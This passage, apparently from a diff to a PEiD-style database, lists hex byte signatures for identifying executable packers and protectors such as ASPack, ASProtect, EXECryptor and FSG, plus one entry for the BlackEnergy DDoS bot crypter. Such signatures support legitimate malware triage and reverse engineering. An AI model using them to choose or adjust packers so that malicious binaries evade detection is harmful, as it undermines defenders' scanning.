?? 03 C5 2B 85 78 AD 43 ?? 89 85 84 AD 43 ?? 80 BD 6E AD 43 +ep_only = true + +[ASPack v1.061b] +signature = 60 E8 ?? ?? ?? ?? 5D 81 ED EA A8 43 ?? B8 E4 A8 43 ?? 03 C5 2B 85 78 AD 43 ?? 89 85 84 AD 43 ?? 80 BD 6E AD 43 +ep_only = true + +[ASPack v1.08.01] +signature = 60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 ?? BB 10 ?? 44 ?? 03 DD 2B 9D +ep_only = true + +[ASPack v1.08.01] +signature = 60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 00 BB 10 ?? 44 00 03 DD 2B 9D +ep_only = true + +[ASPack v1.08.01] +signature = 60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 ?? BB 10 ?? 44 ?? 03 DD 2B 9D +ep_only = true + +[ASPack v1.08.01] +signature = 60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 00 BB 10 ?? 44 00 03 DD 2B 9D +ep_only = true + +[ASPack v1.08.02] +signature = 60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ED 23 6A 44 00 BB 10 ?? 44 00 03 DD 2B 9D 72 +ep_only = true + +[ASPack v1.08.02] +signature = 60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ED 23 6A 44 00 BB 10 ?? 44 00 03 DD 2B 9D 72 +ep_only = true + +[ASPack v1.08.03] +signature = 60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E +ep_only = true + +[ASPack v1.08.03] +signature = 60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E +ep_only = true + +[ASPack v2.xx] +signature = A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95 +ep_only = true + +[ASPack v2.xx] +signature = A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95 +ep_only = true + +[ASProtect SKE 2.1x (exe) -> Alexey Solodovnikov (h)] +signature = 90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = false + +[ASProtect SKE 2.1x (exe) -> Alexey Solodovnikov (h)] +signature = 90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = false + +[ASProtect v1.23 RC4 build 08.07 (exe) -> Alexey Solodovnikov (h)] +signature = 90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB ?? ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = false + +[ASProtect v1.23 RC4 build 08.07 (exe) -> Alexey Solodovnikov (h)] +signature = 90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB ?? ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = false + +[ASProtect v?.? -> If you know this version, post on PEiD board (h2)] +signature = 90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? 00 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 DD 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = false + +[ASProtect v?.? -> If you know this version, post on PEiD board (h2)] +signature = 90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? 00 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 DD 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = false + +[BeRoEXEPacker v1.00 DLL [LZBRS] -> BeRo / Farbrausch] +signature = 83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33 +ep_only = true + +[BeRoEXEPacker v1.00 [LZBRS] -> BeRo / Farbrausch] +signature = 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33 +ep_only = true + +[BlackEnergy DDoS Bot Crypter] +signature = 55 ?? ?? 81 EC 1C 01 00 00 53 56 57 6A 04 BE 00 30 00 00 56 FF 35 00 20 11 13 6A 00 E8 ?? 03 00 00 ?? ?? 83 C4 10 ?? FF 89 7D F4 0F +ep_only = true + +[CExe v1.0a] +signature = 55 8B EC 81 EC 0C 02 ?? ?? 56 BE 04 01 ?? ?? 8D 85 F8 FE FF FF 56 50 6A ?? FF 15 54 10 40 ?? 8A 8D F8 FE FF FF 33 D2 84 C9 8D 85 F8 FE FF FF 74 16 +ep_only = true + +[CExe v1.0a] +signature = 55 8B EC 81 EC 0C 02 ?? ?? 56 BE 04 01 ?? ?? 8D 85 F8 FE FF FF 56 50 6A ?? FF 15 54 10 40 ?? 8A 8D F8 FE FF FF 33 D2 84 C9 8D 85 F8 FE FF FF 74 16 +ep_only = true + +[Com4mail v1.0] +signature = 42 45 47 49 4E 3D 3D 3D 74 66 75 64 23 6F 66 5F 43 6F 6D 34 4D 61 69 6C 5F 66 69 6C 65 23 0D 0A +ep_only = true + +[CreateInstall v2003.3.5] +signature = 81 EC 0C 04 00 00 53 56 57 55 68 60 50 40 00 6A 01 6A 00 FF 15 D8 80 40 00 8B F0 FF 15 D4 80 40 00 3D B7 00 00 00 75 0F 56 FF 15 B8 80 40 00 6A 02 FF 15 A4 80 40 00 33 DB E8 F2 FE FF FF 68 02 7F 00 00 89 1D 94 74 40 00 53 89 1D 98 74 40 00 FF 15 E4 80 40 +ep_only = false + +[CreateInstall v2003.3.5] +signature = 81 EC 0C 04 00 00 53 56 57 55 68 60 50 40 00 6A 01 6A 00 FF 15 D8 80 40 00 8B F0 FF 15 D4 80 40 00 3D B7 00 00 00 75 0F 56 FF 15 B8 80 40 00 6A 02 FF 15 A4 80 40 00 33 DB E8 F2 FE FF FF 68 02 7F 00 00 89 1D 94 74 40 00 53 89 1D 98 74 40 00 FF 15 E4 80 40 +ep_only = false + +[CRYPToCRACK's PE Protector V0.9.2 -> Lukas Fleischer] +signature = E8 01 00 00 00 E8 58 5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 37 84 DB 75 33 8B F3 03 ?? ?? 81 3E 50 45 00 00 75 26 +ep_only = true + +[Dev-C++ 4.9.9.2 -> Bloodshed Software] +signature = 55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D +ep_only = true + +[DotFix Nice Protect 2.1 -> GPcH Soft] +signature = E9 FF 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 B8 ?? ?? ?? ?? 03 C5 50 B8 ?? ?? ?? ?? 03 C5 FF 10 BB ?? ?? ?? ?? 03 DD 83 C3 0C 53 50 B8 ?? ?? ?? ?? 03 C5 FF 10 6A 40 68 00 10 00 00 FF 74 24 2C 6A 00 FF D0 89 44 24 1C 61 C3 +ep_only = false + +[DxPack V0.86 -> Dxd] +signature = 60 E8 00 00 00 00 5D 8B FD 81 ED 06 10 40 00 2B BD 94 12 40 00 81 EF 06 00 00 00 83 BD 14 13 40 00 01 0F 84 2F 01 00 00 +ep_only = true + +[DxPack V0.86 -> Dxd] +signature = 60 E8 00 00 00 00 5D 8B FD 81 ED 06 10 40 00 2B BD 94 12 40 00 81 EF 06 00 00 00 83 BD 14 13 40 00 01 0F 84 2F 01 00 00 +ep_only = true + +[DzA Patcher v1.3 Loader] +signature = BF 00 40 40 00 99 68 48 20 40 00 68 00 20 40 00 52 52 52 52 52 52 52 57 E8 15 01 00 00 85 C0 75 1C 99 52 52 57 52 E8 CB 00 00 00 FF 35 4C 20 40 00 E8 D2 00 00 00 6A 00 E8 BF 00 00 00 99 68 58 20 40 00 52 52 68 63 10 40 00 52 52 E8 DB 00 00 00 6A FF FF 35 +ep_only = false + +[DzA Patcher v1.3 Loader] +signature = BF 00 40 40 00 99 68 48 20 40 00 68 00 20 40 00 52 52 52 52 52 52 52 57 E8 15 01 00 00 85 C0 75 1C 99 52 52 57 52 E8 CB 00 00 00 FF 35 4C 20 40 00 E8 D2 00 00 00 6A 00 E8 BF 00 00 00 99 68 58 20 40 00 52 52 68 63 10 40 00 52 52 E8 DB 00 00 00 6A FF FF 35 +ep_only = false + +[Enigma protector 1.10 (unregistered)] +signature = 60 72 80 72 88 72 8C 72 90 72 94 72 98 72 9C 72 A0 72 A4 59 A8 B0 5C E8 39 D5 39 E4 39 F1 31 F9 5C 3D 58 CA 5F 56 B1 2D 20 7A 2E 30 16 32 72 2B 72 36 1C A5 33 A9 9C AD 9C B1 9C B5 9C B9 9C BD 9C C1 9C C5 9C C9 9C CD 9C D1 9C D5 9C D9 9C DD 9C E1 9C E5 89 +ep_only = false + +[Enigma protector 1.10 (unregistered)] +signature = 60 72 80 72 88 72 8C 72 90 72 94 72 98 72 9C 72 A0 72 A4 59 A8 B0 5C E8 39 D5 39 E4 39 F1 31 F9 5C 3D 58 CA 5F 56 B1 2D 20 7A 2E 30 16 32 72 2B 72 36 1C A5 33 A9 9C AD 9C B1 9C B5 9C B9 9C BD 9C C1 9C C5 9C C9 9C CD 9C D1 9C D5 9C D9 9C DD 9C E1 9C E5 89 +ep_only = false + +[Exe Shield v1.7] +signature = EB 06 68 90 1F 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 +ep_only = true + +[Exe Shield v1.7] +signature = EB 06 68 90 1F 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 +ep_only = true + +[Exe Shield v2.9] +signature = 60 E8 00 00 00 00 5D 81 ED 0B 20 40 00 B9 EB 08 00 00 8D BD 53 20 40 00 8B F7 AC ?? ?? ?? F8 +ep_only = true + +[Exe Shield v2.9] +signature = 60 E8 00 00 00 00 5D 81 ED 0B 20 40 00 B9 EB 08 00 00 8D BD 53 20 40 00 8B F7 AC ?? ?? ?? F8 +ep_only = true + +[EXE Stealth v2.5] +signature = 60 90 EB 22 45 78 65 53 74 65 61 6C 74 68 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D E8 00 00 00 00 5D 81 ED 40 1E 40 00 B9 99 09 00 00 8D BD 88 1E 40 00 8B F7 AC +ep_only = false + +[EXE Stealth v2.5] +signature = 60 90 EB 22 45 78 65 53 74 65 61 6C 74 68 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D E8 00 00 00 00 5D 81 ED 40 1E 40 00 B9 99 09 00 00 8D BD 88 1E 40 00 8B F7 AC +ep_only = false + +[EXE Stealth v2.73] +signature = EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 EB 16 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 60 90 E8 00 00 00 00 5D 81 ED F0 27 40 00 B9 15 00 00 00 83 C1 05 EB 05 EB FE 83 C7 56 EB 00 83 E9 02 +ep_only = false + +[EXE Stealth v2.73] +signature = EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 EB 16 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 60 90 E8 00 00 00 00 5D 81 ED F0 27 40 00 B9 15 00 00 00 83 C1 05 EB 05 EB FE 83 C7 56 EB 00 83 E9 02 +ep_only = false + +[EXE Stealth v2.74] +signature = EB 00 EB 17 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 60 90 E8 00 00 00 00 5D 81 ED C4 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 +ep_only = false + +[EXE Stealth v2.74] +signature = EB 00 EB 17 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 60 90 E8 00 00 00 00 5D 81 ED C4 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 +ep_only = false + +[EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h1)] +signature = E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 04 00 00 00 FF FF FF FF 5E C3 +ep_only = true + +[EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h1)] +signature = E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 04 00 00 00 FF FF FF FF 5E C3 +ep_only = true + +[EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h3)] +signature = 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 +ep_only = false + +[EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h3)] +signature = 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 +ep_only = false + +[EXECryptor v1.3.0.45] +signature = E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1 +ep_only = true + +[EXECryptor v1.3.0.45] +signature = E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1 +ep_only = true + +[EXECryptor v1.4.0.1] +signature = E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80 +ep_only = true + +[EXECryptor v1.4.0.1] +signature = E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80 +ep_only = true + +[EXECryptor v1.5.1.x] +signature = E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1 C1 ?? ?? ?? FE C3 31 C0 64 FF 30 64 89 20 CC C3 +ep_only = true + +[EXECryptor v1.5.1.x] +signature = E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1 C1 ?? ?? ?? FE C3 31 C0 64 FF 30 64 89 20 CC C3 +ep_only = true + +[EXECryptor v1.5.3] +signature = E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80 A1 C1 00 00 00 FE C3 31 C0 64 FF 30 64 89 20 CC C3 +ep_only = false + +[EXECryptor v1.5.3] +signature = E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80 A1 C1 00 00 00 FE C3 31 C0 64 FF 30 64 89 20 CC C3 +ep_only = false + +[EXEJoiner v1.0] +signature = 68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 C6 00 5C 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 E8 +ep_only = true + +[EXEJoiner v1.0] +signature = 68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 C6 00 5C 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 E8 +ep_only = true + +[ExeSafeguard v1.0 -> simonzh (h)] +signature = C0 5D EB 4E EB 47 DF 69 4E 58 DF 59 74 F3 EB 01 DF 75 EE 9A 59 9C 81 C1 E2 FF FF FF EB 01 DF 9D FF E1 E8 51 E8 EB FF FF FF DF 22 3F 9A C0 81 ED 19 18 40 00 EB 48 EB 47 DF 69 4E 58 DF 59 79 EE EB 01 DF 78 E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE +ep_only = false + +[ExeSafeguard v1.0 -> simonzh (h)] +signature = C0 5D EB 4E EB 47 DF 69 4E 58 DF 59 74 F3 EB 01 DF 75 EE 9A 59 9C 81 C1 E2 FF FF FF EB 01 DF 9D FF E1 E8 51 E8 EB FF FF FF DF 22 3F 9A C0 81 ED 19 18 40 00 EB 48 EB 47 DF 69 4E 58 DF 59 79 EE EB 01 DF 78 E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE +ep_only = false + +[ExeShield Protector V3.6 -> www.exeshield.com] +signature = B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC +ep_only = true + +[ExeShield Protector V3.6 -> www.exeshield.com] +signature = B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC +ep_only = true + +[eXPressor V1.0 -> CGSoftLabs] +signature = E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00 +ep_only = true + +[eXPressor V1.0 -> CGSoftLabs] +signature = E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00 +ep_only = true + +[eXpressor v1.1 -> CGSoftLabs] +signature = E9 15 13 00 00 E9 F0 12 00 00 E9 58 12 00 00 E9 AF 0C 00 00 E9 AE 02 00 00 E9 B4 0B 00 00 E9 E0 0C 00 00 +ep_only = true + +[eXpressor v1.1 -> CGSoftLabs] +signature = E9 15 13 00 00 E9 F0 12 00 00 E9 58 12 00 00 E9 AF 0C 00 00 E9 AE 02 00 00 E9 B4 0B 00 00 E9 E0 0C 00 00 +ep_only = true + +[eXPressor v1.2 -> CGSoftLabs (h)] +signature = 55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04 +ep_only = true + +[eXPressor v1.2 -> CGSoftLabs (h)] +signature = 55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04 +ep_only = true + +[eXPressor V1.4.5.1 -> CGSoftLabs] +signature = 55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D +ep_only = true + +[eXPressor V1.4.5.1 -> CGSoftLabs] +signature = 55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D +ep_only = true + +[eXPressor v1.4.5.1 -> CGSoftLabs (h)] +signature = 55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? ?? 05 00 ?? ?? ?? A3 08 ?? ?? ?? A1 08 ?? ?? ?? B9 81 ?? ?? ?? 2B 48 18 89 0D 0C ?? ?? ?? 83 3D 10 ?? ?? ?? 00 74 16 A1 08 ?? ?? ?? 8B 0D 0C ?? ?? ?? 03 48 14 +ep_only = true + +[eXPressor v1.4.5.1 -> CGSoftLabs (h)] +signature = 55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? ?? 05 00 ?? ?? ?? A3 08 ?? ?? ?? A1 08 ?? ?? ?? B9 81 ?? ?? ?? 2B 48 18 89 0D 0C ?? ?? ?? 83 3D 10 ?? ?? ?? 00 74 16 A1 08 ?? ?? ?? 8B 0D 0C ?? ?? ?? 03 48 14 +ep_only = true + +[eXPressor V1.4.5.x -> CGSoftLabs] +signature = 55 8B EC 83 EC ?? 53 56 57 83 65 ?? 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 ?? ?? ?? 00 A1 ?? ?? ?? 00 B9 ?? ?? ?? 00 2B 48 18 89 0D ?? ?? ?? 00 83 3D +ep_only = true + +[eXPressor v1.5x -> CGSoftLabs (h)] +signature = 55 8B EC 81 EC 58 02 00 00 53 56 57 83 A5 CC FD FF FF 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35 2E 00 83 7D 0C 01 75 23 +ep_only = true + +[EZIP v1.0] +signature = E9 19 32 00 00 E9 7C 2A 00 00 E9 19 24 00 00 E9 FF 23 00 00 E9 1E 2E 00 00 E9 88 2E 00 00 E9 2C +ep_only = true + +[EZIP v1.0] +signature = E9 19 32 00 00 E9 7C 2A 00 00 E9 19 24 00 00 E9 FF 23 00 00 E9 1E 2E 00 00 E9 88 2E 00 00 E9 2C +ep_only = true + +[FSG v1.0] +signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B +ep_only = true + +[FSG v1.0] +signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B +ep_only = true + +[FSG v1.2] +signature = 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 ?? 00 00 00 00 00 +ep_only = true + +[FSG v1.2] +signature = 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 ?? 00 00 00 00 00 +ep_only = true + +[FSG v1.31] +signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 BB ?? ?? ?? ?? B2 80 A4 B6 80 FF D3 73 F9 33 C9 +ep_only = true + +[FSG v1.31] +signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 BB ?? ?? ?? ?? B2 80 A4 B6 80 FF D3 73 F9 33 C9 +ep_only = true + +[Goats Mutilator v1.6 -> Goat/_e0f] +signature = E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D +ep_only = true + +[Goats Mutilator v1.6 -> Goat/_e0f] +signature = E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D +ep_only = true + +[GP-Install v5.0.3.32] +signature = 55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 57 B8 C4 1C 41 00 E8 6B 3E FF FF 33 C0 55 68 76 20 41 00 64 FF 30 64 89 20 BA A0 47 41 00 33 C0 E8 31 0A FF FF 33 D2 A1 A0 +ep_only = false + +[GP-Install v5.0.3.32] +signature = 55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 57 B8 C4 1C 41 00 E8 6B 3E FF FF 33 C0 55 68 76 20 41 00 64 FF 30 64 89 20 BA A0 47 41 00 33 C0 E8 31 0A FF FF 33 D2 A1 A0 +ep_only = false + +[HACKSTOP v1.10p1] +signature = B4 30 CD 21 86 E0 3D 00 03 73 ?? B4 2F CD 21 B4 2A CD 21 B4 2C CD 21 B0 FF B4 4C CD 21 50 B8 ?? ?? 58 EB +ep_only = true + +[HACKSTOP v1.10p1] +signature = B4 30 CD 21 86 E0 3D 00 03 73 ?? B4 2F CD 21 B4 2A CD 21 B4 2C CD 21 B0 FF B4 4C CD 21 50 B8 ?? ?? 58 EB +ep_only = true + +[Hardlock dongle (Alladin)] +signature = 5C 5C 2E 5C 48 41 52 44 4C 4F 43 4B 2E 56 58 44 00 00 00 00 5C 5C 2E 5C 46 45 6E 74 65 44 65 76 +ep_only = true + +[Hasp dongle (Alladin)] +signature = 50 53 51 52 57 56 8B 75 1C 8B 3E ?? ?? ?? ?? ?? 8B 5D 08 8A FB ?? ?? 03 5D 10 8B 45 0C 8B 4D 14 8B 55 18 80 FF 32 +ep_only = true + +[Hide PE 1.01 -> 